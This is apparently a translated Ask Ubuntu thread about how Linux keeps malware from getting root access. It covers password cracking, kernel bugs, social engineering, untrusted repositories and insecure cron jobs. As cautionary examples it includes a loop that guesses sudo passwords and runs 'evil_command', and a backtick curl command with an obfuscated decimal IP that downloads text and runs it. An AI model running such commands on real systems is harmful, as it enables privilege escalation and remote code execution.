¿Cómo se mantiene seguro el sistema?

24

Entiendo que si algún malware llega a un sistema Linux, a lo sumo, obtendrá un privilegio de nivel de usuario y arruinará cualquier cosa al alcance del usuario en particular, es decir, sus propios archivos.

Pero, ¿qué impide exactamente que los malwares obtengan acceso a nivel raíz? ¿No puede de alguna manera descifrar la contraseña desde dentro?

Oxwivi
fuente
Gran pregunta y respuestas!
NlightNFotis

Respuestas:

20

Esta es una pregunta compleja. Hay muchas capas diferentes de seguridad en un sistema Ubuntu, desde marcos complejos como AppArmor hasta humildes variables del núcleo como mmap_min_addr. Puede agregar algunas características del kernel como la aleatorización de memoria en la mezcla. Puede encontrar una lista de ellos junto con explicaciones rápidas en Ubuntu Wiki .

Otro factor importante es que las actualizaciones son rápidas y fáciles, por lo que la mayoría de las computadoras se actualizarán con las últimas correcciones de seguridad.

Hasta donde sé, un atacante que ha obtenido acceso local a su computadora tiene tres formas de escalar los privilegios del núcleo:

  1. Rompe la contraseña. Pero esto va a ser realmente difícil, la contraseña se almacena encriptada, utilizando algoritmos sin defecto conocido. Tomará años descifrarlo.

  2. Error en el kernel. Pero todas las características de seguridad del kernel se interpondrán en el camino.

  3. Engaña al usuario para que revele la contraseña, es decir, ingeniería social. Simplemente muestre un diálogo de contraseña falsa o use algún otro truco. Esta es la forma más fácil de hacerlo.

El tercer punto es la vulnerabilidad más débil en este momento.

Javier Rivera
fuente
55
Tenga en cuenta que esta "contraseña" es la contraseña de un usuario con privilegios de sudo a root. La cuenta raíz está deshabilitada de manera predeterminada. # 3 es de hecho lo más posible que suceda. Además, si instala repositorios no confiables, está entregando cuentas raíz gratuitas a ese repositorio.
Lekensteyn
@Lekensteyn, ¿qué? ¿Cómo está agregando repos no confiables distribuyendo acceso de root? Por cierto, es posible que desee publicarlo como respuesta, quiero que este hilo sea una especie de wiki de la comunidad.
Oxwivi
No existen hilos en askubuntu, aparte de los procesos del servidor. Acaba de publicar un comentario a una respuesta a su pregunta . He añadido una respuesta con comida para pensar.
Lekensteyn
@Oxwivi Cuando agrega un PPA e instala un paquete, el paquete tiene scripts preinst y postinst que pueden hacer lo que quieran. También puede instalar un servicio para que se ejecute como root o con el que pueda meterse sudoers.
Restablece a Mónica - ζ--
15

No es posible descifrar la contraseña de root, ya que Ubuntu deshabilitó al usuario root de forma predeterminada. Sin embargo, si su usuario puede convertirse en root a través de sudo y su contraseña es fácil de adivinar / fuerza bruta, tiene un sistema inseguro. Script de ejemplo que intenta probar alguna contraseña:

#!/bin/sh
for pass in password 123 ubuntu pass; do
    echo $pass|sudo -S evil_command
done

Agregar un repositorio no confiable permite la instalación de programas de ese repositorio. Incluso si no instala explícitamente una aplicación como sudo apt-get install [app-from-repo], el repositorio aún puede afectar a otros programas al hacer que Ubuntu crea que el repositorio contiene una versión más nueva de un determinado programa.

El proceso de actualización se ejecuta como root; de lo contrario, los archivos no se podrían escribir en /usr/bino /etc. Un disparador de instalación también se ejecuta como root y puede ejecutarse de manera arbitraria, y posiblemente, comandos dañinos. Ahora, no se preocupe, se necesita una acción manual para actualizar los programas y los repositorios de Ubuntu son seguros. El software de código cerrado como Windows nunca puede ser completamente confiable porque no puede verificar el código fuente malicioso, pero puede revisar el código fuente de la aplicación Ubuntu si lo necesita (no se aplica a programas propietarios como sun-java6Flash).

Como mencionó Javier Rivera, los errores del kernel pueden conducir a la ejecución de código arbitrario, pero el software con errores también es posiblemente peligroso, especialmente setsuidlos binarios raíz con errores (binarios que se ejecutarán bajo el propietario del archivo, raíz) y otros programas con errores que se ejecutan como raíz.

Puede crear agujeros de seguridad en su sistema si no presta atención a lo que está haciendo. Por ejemplo, sin comprender completamente el concepto de cronjobs, ha agregado un cronjob al /etc/cron.dailyque se ejecuta un programa en su carpeta de inicio (por ejemplo, /bin/sh /home/your-username/myscript.shsi el archivo myscript.sh es editable por usted, puede eliminarlo, un exploit podría generar malware código en el myscript.shque se ejecutaría como root (escalada de privilegios).

Para mantenerse a salvo, use su mente! No ejecute comandos de fuentes no confiables si no sabe lo que hace. Si alguien le dice que corra `curl 3221233674`con tic-tac, no lo haga. 3221233674 es otra forma de escribir 192.0.32.10(IP de example.com). Entonces, sería igual a:

`curl http://example.com/`

Esos ticks de retroceso hacen que la salida se ejecute como comandos de shell. En inglés simple, "Descargue la página http://example.com/ e intente ejecutar la página descargada".

Al principio, no verías algo malicioso en el comando dado. Pero ahora, sabes que también se puede abusar de él.

Siempre revise los comandos / guiones que obtiene de fuentes no confiables, como Internet.

Lekensteyn
fuente
1
Gracias por la respuesta, espero que no te haya importado mis ediciones. Toma nota de mis ediciones para mejorar tu inglés.
Oxwivi
2
No, no me importa. Cada mejora es bienvenida :)
Lekensteyn
De todos modos, esta es una excelente publicación, ¡los puntos que mencionaste deben tenerse en cuenta!
Oxwivi